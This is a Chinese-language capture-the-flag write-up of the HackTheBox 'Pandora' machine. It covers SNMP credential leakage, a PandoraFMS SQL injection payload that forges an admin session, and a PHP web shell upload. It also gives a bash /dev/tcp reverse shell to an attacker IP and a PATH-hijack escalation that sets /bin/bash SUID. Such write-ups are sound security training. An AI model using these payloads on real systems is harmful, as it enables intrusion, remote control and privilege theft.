> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md).

# Pandora HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Pandora>" %}

{% hint style="warning" %}
**技能：**

* SNMP 快速枚举
* 信息泄露
* 本地端口转发
* SQL 注入 - 管理员会话劫持
* PandoraFMS v7.0NG 经过身份验证的远程代码执行（CVE-2019-20224]
* 滥用自定义二进制文件 - PATH 劫持（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/b2eb54ed788d5da76f1e9475f1924ec57b32f93f" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/51af6bbccfb26bd2d1101e4423e7e41d29e3a139" alt="" width="563"><figcaption></figcaption></figure>

## TCP:

**使用 Nmap 查找开放的 TCP 端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts
```

<figure><img src="/files/b3a4f63a938cf964c7a55453c932b2391b911968" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="/files/aaaff7bb9d9227c055e89efa95018d1dbd5c2980" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 扫描 TCP 端口版本：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.136 -oN targeted
```

<figure><img src="/files/5886e849894b3683d56714d3736be37bf7b9fb38" alt=""><figcaption></figcaption></figure>

### 端口 80：

我们使用了 `whatweb` 以识别 Web 服务器使用的技术：

<div align="right" data-full-width="true"><figure><img src="/files/f64e3512be6d48573b786ae4ba9d3bc4f9fbe5e5" alt=""><figcaption></figcaption></figure></div>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/c69d65bc23a2d467f1c83a2af8b0ff86650b9be3" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/258fbdf86cd97157517cd56146fa51fef371c744" alt=""><figcaption></figcaption></figure>

## UDP:

**使用 Nmap 查找开放的 UDP 端口：**

我们还使用以下命令对 UDP 端口进行扫描 **Nmap**:

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP
```

我们发现了 SNMP 端口 161、17185 和 49201

<figure><img src="/files/35269e09627b98049d936a56731b7c06322db7c0" alt=""><figcaption></figcaption></figure>

**使用 Nmap 扫描 UDP 端口版本：**

使用 Nmap 扫描 UDP 端口的版本并将信息提取到“targeted”文件中：

```bash
nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP
```

通过 SNMP 发现敏感信息，包括一个用户：

* `daniel`
* 密码： `HotelBabylon23`.

<figure><img src="/files/094543b382b5ac1db89b84690e7a8f0cfd8368d0" alt=""><figcaption></figcaption></figure>

## 端口 161 - SNMP

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

**SNMP 枚举**

为了检查暴露的 SNMP 服务，我们使用了以下命令

```bash
snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt
```

* 通过分析 `snmpcontent.txt`，我们发现了敏感信息，包括有效凭据：
  * **用户**: `daniel`
  * **密码**: `HotelBabylon23`

<figure><img src="/files/59e1301009f7c3222109499b253f2befb2000822" alt=""><figcaption></figcaption></figure>

利用获取到的信息，我们与目标机器建立了 SSH 连接：

```bash
ssh daniel@10.10.11.136
```

<figure><img src="/files/23578373ff5860608052ca7c6110c33a9b817cfb" alt=""><figcaption></figcaption></figure>

## **权限提升**

**初始搜索**

通过探索用户 `daniel`可访问的目录，我们在以下路径中识别出有趣的文件和文件夹： `/var/www/pandora`

<div data-full-width="true"><figure><img src="/files/12290ab73c8bdef3bb7b38df35bbb400a1727e2c" alt=""><figcaption></figcaption></figure></div>

该目录包含 PandoraFMS 网站，但似乎无法直接从外部访问。

**端口转发**

为了通过本地机器访问 PandoraFMS 界面，我们配置了一个 SSH 隧道：

```bash
ssh -L 80:127.0.0.1:80 daniel@10.10.11.136
```

## 利用 Pandora FMS - SQL 注入

### **SQL 注入：管理员会话劫持**

该命令将本地 HTTP 请求重定向到内部 Web 服务器。

<figure><img src="/files/fcd3bc380681e58d4d02d5c5bd7431e27073f8ff" alt=""><figcaption></figcaption></figure>

检测到的版本： **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/df6f5b5ca5eb3b480bc3746859575eecae04b403" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

已知漏洞位于 `chart_generator.php` 通过 `session_id` 变量：

<figure><img src="/files/a74a20309c72c28816fc374e3f34fca9d0291194" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/4dd5f5fb6969cc3fa24a2c92e71606a4c04874e3" alt=""><figcaption></figcaption></figure>

运行 SQL 注入以伪造管理员会话：

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* 此命令返回一个管理员会话 cookie。

<figure><img src="/files/0aba0c3e4a2554a779d2bea4381d8cda485f135e" alt=""><figcaption></figcaption></figure>

使用该 cookie 以管理员身份访问仪表板。

<figure><img src="/files/91326a7dffb4ef1032cbd2b21f1434279771df1a" alt=""><figcaption></figcaption></figure>

### **远程代码执行（RCE）-（CVE-2019-20224]**

导航至 **文件管理器**.

<figure><img src="/files/e2b8d31586634effc20d497e6ce0d49f0746b221" alt=""><figcaption></figcaption></figure>

上传一个恶意的 PHP 文件：

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* 通过以下地址可访问该文件 `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/ad67619a4d7b7ecb64b92c0831eb4b2afaa5e04a" alt=""><figcaption></figcaption></figure>

运行一个反向 shell：

* 本地监听：

```bash
nc -nvlp 443
```

* 在目标服务器上运行该命令：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

获得了用户 `matt`.

<figure><img src="/files/b1021b384297d6411384e0563813f4e70f187842" alt=""><figcaption></figcaption></figure>

**准备终端：**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

允许在交互式终端中更舒适地使用。

### User.txt 标志：）

<figure><img src="/files/0b2d8bbc59bcf1b252ee822585ce6339ee3b3c48" alt="" width="563"><figcaption></figcaption></figure>

## PATH 劫持 - 滥用自定义二进制文件

**搜索具有 SUID 权限的二进制文件**

```bash
find / -perm -4000 2>/dev/null
```

结果：发现了一个有趣的二进制文件：/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="/files/8b40443c5eaa3710435c2a22c3ea06bdb064672e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6d43c0a7a40f6e70422fc718fcac273a8f4df693" alt=""><figcaption></figcaption></figure>

**使用以下工具分析二进制文件 `ltrace`**

为了理解该二进制文件的工作方式，我们使用了 **`ltrace`** （一种系统调用跟踪工具）来观察该二进制文件发出的系统调用：

```bash
ltrace /usr/bin/pandora_backup
```

这使我们能够看到该二进制文件正在执行 **KEEP/*****0/*****/\_** 命令，而没有使用可执行文件的绝对路径，这就带来了潜在漏洞。换句话说，如果我们修改我们的 **`PATH`** 以包含一个名为 `tar`的恶意可执行文件所在目录，那么执行的就会是它而不是原始文件。

<figure><img src="/files/13e8b7995f9a4da128e28d8bfbe9e4aaeb49a9c2" alt=""><figcaption></figcaption></figure>

**通过 PATH 劫持进行利用**

**创建一个恶意的 `tar` 文件：** 我们创建了一个名为 `tar` 在 `/tmp/` 目录并赋予执行权限 **SUID**的文件。该文件包含一条以提升权限打开 bash shell 的命令：

```bash
chmod 4777 /bin/bash
```

**修改 `PATH` 变量：** 为了强制系统使用我们恶意版本的 `tar`，我们修改了 `PATH` 变量以优先使用 `/tmp/` 目录

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/af2e2be7aa0337da47f15a1e4ab9f125bf25883f" alt=""><figcaption></figcaption></figure>

**执行存在漏洞的二进制文件：** 在修改 `PATH`之后，我们执行了 **`pandora_backup`** 二进制文件：

<figure><img src="/files/0e6bdecef3a8b916093e5f99d77d96d179744366" alt=""><figcaption></figcaption></figure>

通过运行我们修改后的 `tar`，一个提权的 Bash shell 被打开，使我们获得了 `root` 访问权限。

### root.txt flag :)

<figure><img src="/files/63d53ff042546919cd5812275dd26491c4d533cc" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/86a7bdcb7f755911e5c0ed9fd974bc079cff2e82" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
